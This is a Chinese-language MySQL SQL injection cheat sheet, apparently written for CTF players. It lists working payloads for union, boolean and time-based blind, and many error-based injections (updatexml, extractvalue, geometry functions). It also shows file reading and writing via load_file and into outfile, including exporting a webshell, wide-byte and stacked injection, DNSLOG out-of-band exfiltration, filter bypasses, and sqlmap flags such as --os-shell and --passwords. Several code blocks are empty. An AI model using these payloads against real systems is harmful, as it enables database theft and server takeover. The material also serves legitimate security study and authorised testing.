(MySQL为例)
注入点:GET参数、POST参数、Cookie、HTTP头(包括但不限于User-agent、Referer、X-Forwarded-For)。
0x01 注入类型
- 联合查询
- 盲注
- 布尔盲注
- 时间盲注
- 报错注入
- 宽字节注入
- 堆叠注入
0x02 MySQL常用函数
字符串连接
concat(str1, str2, str3...)
concat函数连接一个或者多个字符串,若其中一个为null,则返回null.
concat_ws(separator,str1,str2,…)
CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符可以是一个字符串,也可以是其它参数。若分隔符为 NULL,则结果为 NULL。函数会忽略任何 str 参数中的 NULL 值。
group_concat([DISTINCT] 字段名 [Order BY 某字段 ASC/DESC] [Separator '分隔符'])
将某个字段的值连接起来,默认’,’为分隔符,可与group by一起使用。
字符串截取
mid(column_name, start [,length])
start起始为1;length若省略则返回剩余文本。mid函数仅MySQL支持。
- substring、substr与mid用法相同
left(string, n)
指定左部截取n个字符。right()为右部截取n个字符,参数同left。
ascii()
返回的字符的ascii码值。ord()相比还适用于多字节字符。
regexp
查找flag开头的字符串:select flag from flag where flag regexp '^flag'
locate/position
返回子串 substr 在字符串 str 中的第 pos 位置后第一次出现的位置。如果 substr 不在 str 中返回 0
LOCATE(substr,str,pos)
有任一参数是一个二进制字符串,它才是字母大小写敏感的。
|
|
0x03 sql注入类型
a.常用查询
|
|
b.联合查询
通过闭合语句引号或括号,使用union来查询所需内容。需要相同字段。可用select 1,2,3
或order by 3
来测试字段数。
c.布尔盲注
2*1e308大法:
-1'and(select(select(flag)from(flag))like binary 0x4625)*2*1e308#
substr和ascii:
ascii(substr((select database()),1,1))=98#
if盲注:
aaa' and if((select flag from flag where flag like binary 0x4625),1,0)#
d.时间盲注
sleep(second):
if(ascii(substr(database(),1,1))>115,0,sleep(5))%23
benchmark(count, expr):
UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM (select database() as current) as tb1;
e.报错注入
2*1e308报错:
aa'and(select(1E308*if((select*from(select(flag)from(flag)limit 1)x),2,2)))#
updatexml报错(限制32字符):
-1'and(updatexml(1,concat(0x7e,(select(substr(flag,10))from(flag))),1))#
extractvalue报错(限制32字符):
-1')and(extractvalue(1,concat(0x5c,(select(flag)from(flag)))))%23
以下技巧高版本未成功:
exp报错:
-1'and(exp(~(select*from(select(flag)from(flag))a)))#
geometrycollection报错:
-1'and(geometrycollection((select*from(select*from(select(flag)from(flag))a)b)))#
polygon报错:
-1'and(polygon((select*from(select*from(select(flag)from(flag))a)b)))#
multipolygon报错:
-1'and(multipolygon((select*from(select*from(select(flag)from(flag))a)b)))#
multipoint报错:
-1'and(multipoint((select*from(select*from(select(flag)from(flag))a)b)))#
multilinestring报错:
-1'and(multilinestring((select*from(select*from(select(flag)from(flag))a)b)))#
linestring报错:
-1'and linestring((select * from (select * from (select user())a)b))
以下技巧高版本中未测试:
bigint超出范围:
select !(select * from (select user())x) - ~0
mysql重复特性:
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
计数重复报错/bug?:
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))
上一条技巧的懵逼形式:
select count(*) from (select 1 union select null union select !1)x group by concat((select flag from flag limit 1),floor(rand(0)*2))
f.导入导出操作
- load_file导出文件:
|
|
- into outfile写入文件:
|
|
- into outfile 后可跟
lines terminated by 0x...
(参考sqlmap os-shell)。以16进制内容结尾,而不是'\r\n'
:
|
|
into dumpfile写入二进制。into outfile写入文本文件。
g.宽字节注入
当MySQL使用宽字节编码时,会产生宽字节注入。若character_set_client=gbk
时。输入%aa'
对单引号转义后变成%aa%5c%27
,其中aa5c被mysql当成一个字符,导致单引号逃逸。可通过Mysql_query("SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary",$conn);
来防御宽字节注入。
(1)
character_set_client
:客户端发送过来的SQL语句编码,也就是PHP发送的SQL查询语句编码字符集。(2)
character_set_connection
:MySQL服务器接收客户端SQL查询语句后,在实施真正查询之前SQL查询语句编码字符集。(3)
character_set_results
:SQL语句执行结果编码字符集。
mysql_real_escape_string
和iconv()
注入:参考 MySQL宽字节注入 by BlBana和宽字节注入 by lyiang。
h.堆叠注入
用分号结束一条语句的执行,构造执行下一条任意语句。有其局限性。当采用mysql_query()
执行sql语句时,多条sql语句将会报错,可使用mysqli::multi_query()
。
例:sqlserver 中最为重要的存储过程的执行:
|
|
注:oracle不支持多条语句执行
i. order by
后的注入
布尔盲注或延时注入:
?sort=(select ...)
?sort=rand(语句)
。如rand(true/false)
返回值不同,可利用rand盲注。
报错注入:
?sort=1'and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+
procedure analyze()
来执行报错注入。
导出文件:
into outfile '路径'
参数来导出结果。或使用lines terminated by 0x...
来导出网马。
0x04 DNSLOG带外数据传输
利用VPS或者 http://ceye.io/records/dns 提供的 DNS Query 来获取dnslog中的数据。
Windows环境下,在MySql中可通过 load_file()
来发送 dns 查询。
|
|
注:MySql有个新特性 secure_file_priv
默认为 NULL
,若要启用 load_file
和 into outfile
等,需在 my.ini
中修改或增加这一特性的值。
0x05 Tricks
a. concat
过滤下使用updatexml报错注入
当concat函数被过滤且需要使用updatexml来报错注入时,可找类似函数,如lpad()、reverse()、repeat()、export_set()。(lpad()、reverse()、repeat() 这三个函数使用的前提是所查询的值中,必须至少含有一个特殊字符,否则会漏掉一些数据)。
b. linestring()
爆当前表名
通过polygon()
和linestring()
可爆出当前表名。还有multipoint、multilinestring、multipolygon
:
|
|
c. 通过join + using
的方法来获取字段名:
|
|
d. 通过联合查询,运用虚拟表在不出现字段名的情况下查出内容
|
|
e. 逗号过滤bypass
通过使用 from .. for ..
和 offset
来进行bypass
|
|
0x06 sqlmap常用指令与参数
-u
:后跟漏洞网站URL-r
:从POST数据包中注入,后跟文件路径,注入点用*
替换-p
:指定测试参数--dbms
:指定数据库系统类型--technique=TECH
:指定使用的注入方式 (default “BEUSTQ”)--dbs --tables --columns
:枚举所有数据库、表、字段名-D -T -C
:指定数据库、表、字段名称--dump
:导出结果--level=LEVEL
:指定注入测试的等级 (2级可检测cookie)(1-5, default 1)--risk=RISK
:风险等级(1-3, default 1)--prefix="xxx"
:前缀--suffix="xxx"
:后缀--cookie="xxx"
:指定cookie--threads=10
:在盲注时指定线程数--os-shell
:系统交互 shell--sql-shell
:SQL 交互 shell--users
:枚举数据库用户--passwords
:枚举数据库用户密码哈希值--string,--not-string,--regexp,--code
:提供字符串或者一段正则,在原始页面与真条件下的页面都存在的字符串,而错误页面中不存在(使用–string参数添加字符串,–regexp添加正则);在原始页面与真条件下的页面都不存在的字符串,而错误页面中存在的字符串(–not-string添加)。也可提供真与假条件返回的HTTP状态码不一样来注入。如,响应200的时候为真,响应401的时候为假,即--code=200
。
0x07 tamper的使用
sqlmap很蠢。通常在网站对输入有某些过滤的情况下,你需要用tamper调教一下,再使用。(可以自己编写)
--tamper=symboliclogical
:对or
和and
进行了过滤,可以使用||
和&&
的情况。--tamper=unmagicquotes
:宽字节注入